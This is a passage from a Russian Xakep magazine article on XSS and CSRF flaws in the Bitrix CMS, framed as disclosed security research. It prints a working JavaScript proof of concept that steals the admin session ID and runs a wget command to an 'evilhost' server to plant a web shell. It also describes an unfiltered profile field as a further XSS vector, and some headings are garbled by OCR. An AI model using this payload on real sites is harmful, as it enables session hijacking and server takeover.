JIT SPRAY АНАЛИЗ TDSS - Xakep Online

HTTP://WWW
Фишинг-атака с использованием
уязвимости
bypass). Я знал, что WAF фильтрует не только ивенты, но
и функции и переменные, которые он считает опасными,
в самом JavaScript, и морально приготовился к мучительным
видоизменениям кода. Логично, казалось бы, было
использовать обфускатор jjencode. Но в данном случае он
был неприменим из-за того, что любой символ закрывающейся
квадратной скобки закрывал тэг URL, в котором была
уязвимость, и отсекал весь остальной код за собой. Ну, а
квадратные скобки встречаются в jjencode на каждом шагу.
Поэтому пришлось идти другим путем. Логика эксплойта
должна была быть следующей:
1. Создаем объекты iframe, form, два поля input (параметры
POST sessid и query).
2. В iframe загружаем какую-нибудь страницу админки и
получаем из него innerHTML.
3. Выдираем из innerHTML нашего iframe значение sessid.
4. Проставляем значение sessid в value атрибут первого
объекта input.
5. Выполняем form.submit.
Единственным, что мешало написанию эксплойта со стороны
системы, была фильтрация метода onload. Конечно,
можно было написать конструкцию типа i[“onload”]=a, но,
опять-таки, квадратные скобки не были допустимы для данной
уязвимости. Пришлось снова придумывать. Придумка
оказалось простой, как валенок — setTimeout(a,10000).
Рассчитано на то, что содержимое iframe загрузится раньше
10 секунд, функция a сможет выдрать значение sessid. В
остальном никаких хитростей применено не было. Код получился
вот такой:
[URL=http://a' onmouseenter='var i=document.
createElement("iframe");i.style.
width="0px";i.style.height="0px";var p=/
sessid=.{32}/;var t="";var f=document.
createElement("form");f.method="POST";f.
action="/bitrix/admin/php_command_
line.php?mode=frame";var s=document.
createElement("INPUT");s.style.
visibility="hidden";s.type="text";s.
name="sessid";var y=document.
createElement("INPUT");y.style.
visibility="hidden";y.type="text";y.
name="query";y.value="system(\"wget
htt\".\"p://evilhost:6448/s.txt
-O s.php\");";f.appendChild(s);f.
appendChild(y);function b(){t+=i.
document.body.innerHTML.match(p);s.
value=t.substr(7);f.submit()};i.
src="/bitrix/admin/";document.body.
appendChild(i);document.body.appendChild(f);
setTimeout(b,10000);']ÍÀÂÅÄÈ ÍÀ ÌÅÍß![/URL]
XÀÊÅÐ 09 /140/ 10
Веб-шелл, залитый на мой локальный
Битрикс через CSRF
У такого PoC есть два недостатка — он работает только под
Internet Explorer и открывает новую страницу с результатом
выполнения команды шелла (пустую, если все прошло
хорошо, и шелл залился). Эти два недостатка с легкостью
лечатся, но в этой статье более элегантного решения не
будет дано специально. Моя цель — показать возможность
проведения атаки, а не дать в руки готовый инструмент для
взлома.
ÑËÀÄÊÎÅ ÍÀ ÇÀÊÓÑÊÓ
Итак, мне удалось провести две успешные атаки самого
себя и залить два веб-шелла. В завершение исследования
я еще раз оглядел весь движок, по большей части
для того, чтобы просто изучить функционал. Случайно
наведя мышкой на надписи с именем автора записи в
блоге, я увидел, что при этом открывается всплывающее
окно, в котором отображается само сообщение. Это выглядело
очень красиво — дизайн окошка был оформлен
под облачко из комиксов. Но меня насторожило, что в
этом окошке выводится также значение поля ICQ из профиля
пользователя. Причем при выводе не фильтруется
ни < >, ни ‘ “. Как же просто было при сохранении в базу
ограничить поле ICQ в профиле пользователя только цифрами!
Это ведь так логично! Но вместо простого решения
— уязвимость. Это была третья возможность заливки
шелла. В отличие от варианта с [URL] здесь можно было
разгуляться — jjencode и целые тэги, а не только атрибуты.
Кроме того, можно использовать уязвимости XSS для
фишинг-атак. Демонстрацию такой техники можно найти
на картинке. Придумывать еще один метод обхода WAF
для проведения атак без участия со стороны пользователя,
таких как клики и наведения мышкой, мне уже не
хотелось. Быстрое исследование, которое заняло полтора
дня, решено было закончить, а обнаруженная уязвимость
также ушла разработчикам.
ÔÈÍÀË
Все, что было обнаружено, уже должно быть исправлено в
новом Битриксе на момент публикации этой статьи. Всегда
до публикации следует оповещать разработчиков и согласовывать
сроки публикации. Так и было сделано. Находить
уязвимости и взламывать сайты — это две совершенно
разные задачи. А если учесть масштабы распространения
Битрикса в рунете — последствия атак могли бы быть
весьма внушительными. Исследователь — не взломщик,
он энтузиаст, стремится показать, где программа недоработана,
и в итоге способствует тому, чтобы его продукт
стал более защищен. На этом снимаю перед тобой шляпу и
отклани ваюсь. И замечу (на всякий случай), что в ходе исследования
ни один живой сайт не пострадал. Как всегда,
на вопросы отвечаю в блоге oxod.ru. z
links
• Документация
языка FormCalc —
help.adobe.com/
en_US/livecycle/es/
FormCalc.pdf
• Продукт Adobe
Livecycle Designer,
trial версия для
создания PDF
документов — adobe.
com/go/trylivecycle
• Общие сведения об
атаке CSRF — owasp.
org/index.php/Cross-
Site_Request_Forgery_(CSRF)
• Мой блог (отвечаю
на вопросы, пишу по
мере сил) — oxod.ru
DVD
dvd
• На диске
ты найдешь
демонстрацию
всех описанных
уязвимостей
069